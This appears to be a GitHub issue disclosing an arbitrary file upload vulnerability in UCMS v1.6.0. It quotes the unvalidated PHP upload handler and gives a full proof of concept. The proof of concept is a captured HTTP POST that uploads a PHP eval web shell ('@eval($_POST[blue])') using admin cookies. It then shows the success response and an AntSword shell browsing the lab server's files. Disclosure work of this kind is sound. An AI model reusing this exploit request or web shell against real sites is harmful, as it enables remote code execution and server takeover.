

New issue

[Jump to bottom](#)

UCMs v1.6.0 arbitrary file upload #1

Open cc-225 opened this issue on Jul 4 · 0 comments

cc-225 commented on Jul 4

Owner

UCMS_v1.6.0 Arbitrary file upload vulnerability

Vulnerability type:

V 1.6.0

Recurrence environment:

Windows 10

phpstudy

Vulnerability description:

The vulnerability lies in /ucms-v1.6/ucms/sadmin/file PHP file, the file suffix on is not verified, so any file can be uploaded

Loophole recurrence:

```
99  if(isset($_FILES['uploadfile'])) {
100      checktoken();
101      if(!isset($_SERVER["HTTP_REFERER"])) {
102          die('error');
103      }
104      if(stripos($_GET['dir'],'..')===false) {}else {die('error file');}
105      if(is_uploaded_file($_FILES['uploadfile']['tmp_name'])) {
106          $filename=$_allldir.$_FILES["uploadfile"]["name"];
107          if(@move_uploaded_file($_FILES['uploadfile']['tmp_name'],$filename)) {
108              adminmsg($_refererurl,'上传成功',0);
109          }else {
110              adminmsg($_refererurl,'上传失败,无法写入文件,请确认目录权限',1);
111          }
112          exit();
113      }else {
```

后台管理中心

192.168.9.69/ucms/ucms/index.php?do=sadmin_file

移动设备上的书签

首页 个人中心 帐户管理 站点管理 文件管理 清空缓存 退出

站点设置

cc

1'

文件管理 /ucms/

根目录

最近修改

返回

文件名	文件大小	创建时间	修改时间	操作
12.php	21 B	2022-07-04 11:36:18	2022-07-04 11:36:32	编辑 重命名 删除
cache		2022-07-01 15:41:12	2022-07-04 18:03:50	打开文件夹 重命名
inc		2022-07-01 15:41:12	2022-07-01 16:32:37	打开文件夹 重命名
index.php	72 B	2022-07-01 15:41:12	2021-05-20 00:00:00	编辑 重命名 删除
install		2022-07-01 15:41:12	2022-07-01 15:41:12	打开文件夹 重命名
phpinfo.php	0 B	2022-07-04 11:19:16	2022-07-04 11:21:11	编辑 重命名 删除
template		2022-07-01 15:41:12	2022-07-01 15:41:12	打开文件夹 重命名
ucms		2022-07-01 15:41:12	2022-07-01 15:41:13	打开文件夹 重命名
uploadfile		2022-07-01 15:41:13	2022-07-04 18:01:14	打开文件夹 重命名
htm	3.51 KB	2022-07-01 15:41:12	2012-05-10 09:38:30	编辑 重命名 删除

新建文件夹:

提交

新建文件:

提交

上传文件:

浏览... 1.php

上传

总数:10

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Authz Sytas

1 x 2 x 3 x 4 x 5 x ...

发送 取消 < >

目标: http://192.168.9.69

请求

Pretty 原始 \n Actions

```
1 POST /ucms/ucms/index.php?do=sadmin_file&dir=/ HTTP/1.1
2 Host: 192.168.9.69
3 Content-Length: 315
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.9.69
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxU14a4Gkoz7DR9Q9
8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/103.0.0.0 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
  */*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://192.168.9.69/ucms/ucms/index.php?do=sadmin_file
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Cookie: admin_439006=admin; psw_439006=3dfa3753ab18cf603172033146e6372d; token_439006=
  53589c40
14 Connection: close
15
16 -----WebKitFormBoundaryxU14a4Gkoz7DR9Q9
17 Content-Disposition: form-data; name="uuu_token"
18
19 53589c40
20 -----WebKitFormBoundaryxU14a4Gkoz7DR9Q9
21 Content-Disposition: form-data; name="uploadfile"; filename="1.php"
22 Content-Type: text/php
23
24 <?php @eval($_POST[blue]);?>
25 -----WebKitFormBoundaryxU14a4Gkoz7DR9Q9--
26
```

响应

Pretty 原始 Render \n Actions

```
<div id="urHere">
<em class="homeico">
</em>
后台管理<b>
</b>
</div>
<strong>
  信息提示
</strong>
</div>
<div id="mainBox">
<h3>
  信息提示
</h3>
<div class="AdminMsg">
<h2>
  上传成功
</h2>
<dl>
<dt>
  如果您不做出选择, 将在 0 秒后跳转到列表页 (按Enter键直接跳转)。
</dt>
<dd>
<a href="javascript:history.go(-1);">返回上一页</a>
</dd>
</dl>
</div>
</div>
<script type="text/javascript">
$(document).keydown(function(event){
  var ctrlc = event.which;
  if(ctrlc == 13 || ctrlc == 32){
    window.location.href = "http://192.168.9.69/ucms/ucms/index.php?do=sadmin_
  }
});
</script>
<meta http-equiv=refresh content='0'; url=http://192.168.9.69/ucms/ucms/index.php
```

192.168.9.69/1.php

192.168.9.69/1.php

火狐官方站点 新手上路

中国蚁剑

目录列表 (6)

- C:/
- phpStudy
- PHPTutorial
- WWW
- ucms
- D:/

文件列表 (11)

名称	日期	大小	属性
cache	2022-07-04 10:03:50	4 Kb	0777
inc	2022-07-01 08:32:37	4 Kb	0777
install	2022-07-01 07:41:12	0 b	0777
template	2022-07-01 07:41:12	4 Kb	0777
ucms	2022-07-01 07:41:13	4 Kb	0777
uploadfile	2022-07-04 10:01:14	0 b	0777
.htaccess	2021-05-19 16:00:00	137 b	0666
12.php	2022-07-04 03:36:32	21 b	0666
index.php	2021-05-19 16:00:00	72 b	0666
phpinfo.php	2022-07-04 03:21:11	0 b	0666
..../.htm	2012-05-10 01:38:30	3.51 Kb	0666

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

